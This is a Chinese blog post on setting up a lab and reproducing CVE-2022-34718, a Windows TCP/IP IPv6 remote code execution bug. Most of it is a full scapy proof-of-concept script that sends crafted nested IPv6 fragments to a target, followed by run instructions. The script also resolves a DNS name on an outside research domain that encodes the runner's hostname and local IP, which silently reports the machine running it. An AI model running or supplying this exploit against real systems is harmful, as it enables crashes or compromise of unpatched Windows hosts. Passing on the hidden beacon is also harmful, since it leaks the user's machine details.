Windows TCP/IP 远程代码执行漏洞 (CVE-2022-34718)环境搭建+复现

本文围绕微软上月发布补丁中包含的可执行代码的TCP/IP协议漏洞展开。介绍了IPSec协议,讲述在Windows中搭建域条件下两台对对方所有流量加密验证的环境,还给出漏洞复现步骤,如安装模块、准备poc等,强调技术仅供网络安全检测维护参考。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

漏洞概述

环境搭建

漏洞复现


漏洞概述

微软上月发布的补丁包含一个可能执行代码的TCP/IP协议漏洞。

IPSec是一种可以对指定类型ip流量筛选过滤,并加密验证的一种协议。通常在VPN或者增强其他协议密码安全性的部分条件下使用。

环境搭建

在windows中 ,我们需要搭建一个域条件下,两台对对方所有流量都加密验证的环境。因为很多时候它并不是一种默认开启的协议。

有想尝试环境搭建的可以参考链接:完整域环境搭建再识(图文详细+问题解决)

攻击机kali    环境 python3
靶机 域内系统win10

漏洞复现

安装模块

pip install scapy

poc准备

poc 地址 CVE-2022-34718-PoC/ipv6-rce-poc.py at master · SecLabResearchBV/CVE-2022-34718-PoC · GitHub

#/usr/bin/env python3

import sys
import random
import socket
import base64
import re


FRAGMENT_SIZE = 0x400
LAYER4_FRAG_OFFSET = 0x8

NEXT_HEADER_IPV6_ROUTE = 43
NEXT_HEADER_IPV6_FRAG = 44
NEXT_HEADER_IPV6_ICMP = 58


def get_layer4():
    er = ICMPv6EchoRequest(data = "PoC for CVE-2022-34718")
    er.cksum = 0xa472

    return raw(er)


def get_inner_packet(target_addr):
    inner_frag_id = random.randint(0, 0xffffffff)
    print("**** inner_frag_id: 0x{:x}".format(inner_frag_id))
    raw_er = get_layer4()

    # 0x1ffa Routing headers == 0xffd0 bytes
    routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1)
    routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))

    # First inner fragment header: offset=0, more=1
    FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)

    return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id


def send_last_inner_fragment(target_addr, inner_frag_id):

    raw_er = get_layer4()

    ip = IPv6(dst = target_addr)
    # Second (and last) inner fragment header: offset=1, more=0
    FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
    send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])
    return True

def test_connectivity(target_addr):
    s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM, 0)
    try:
        domain = "v23lmm54ayv29d3vj727br59u.seclabresearch.com"
        hostname = socket.gethostname()
        local_ip = socket.gethostbyname(hostname)
        fqdn = '.'.join(filter(lambda x: x, re.split(r'(.{63})', base64.b32encode(f"{hostname}-{local_ip}".encode('utf8')).decode('utf8').replace('=','')) + ['G'+str(random.randint(10,99)), domain])).lower()
        taget_addr = socket.gethostbyname(fqdn)
        s.connect((target_addr, 80, 0, 0))
    except socket.gaierror:
        return True
    finally:
        s.close()
        return True

def trigger(target_addr):

    inner_packet, inner_frag_id = get_inner_packet(target_addr)

    ip = IPv6(dst = target_addr)
    hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)

    outer_frag_id = random.randint(0, 0xffffffff)

    fragmentable_part = []
    for i in range(len(inner_packet) // FRAGMENT_SIZE):
        fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])

    if len(inner_packet) % FRAGMENT_SIZE:
        fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])

    print("Preparing frags...")
    frag_offset = 0
    frags_to_send = []
    is_first = True
    for i in range(len(fragmentable_part)):
        if i == len(fragmentable_part) - 1:
            more = 0
        else:
            more = 1

        FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)

        blob = raw(FH/fragmentable_part[i])
        frag_offset += FRAGMENT_SIZE

        frags_to_send.append(ip/hopbyhop/blob)

    print("Sending {} frags...".format(len(frags_to_send)))
    for frag in frags_to_send:
        send(frag)

    print("Now sending the last inner fragment to trigger the bug...")
    success = send_last_inner_fragment(target_addr, inner_frag_id)

    if success:
        print("Success! The system is vulnerable...")
    else:
        print("Failed! The system is NOT vulnerable...")

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: cve-2021-24086.py <IPv6 addr>')
        sys.exit(1)
    if test_connectivity(sys.argv[1]):
        try:
            from scapy.all import *
        except ImportError:
            print("Could not load scapy module, please install the dependencies from requirements.txt ...")
            sys.exit(1)
        try:
            trigger(sys.argv[1])
        except PermissionError:
            print("Only root is able to send raw packets. Please rerun this script as root...")

注意切换至root 权限执行

python3 ipv6-rce-poc.py <target address>

执行成功

技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本文作者无关。本文所提供的工具仅用于学习,禁止用于其他!!!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值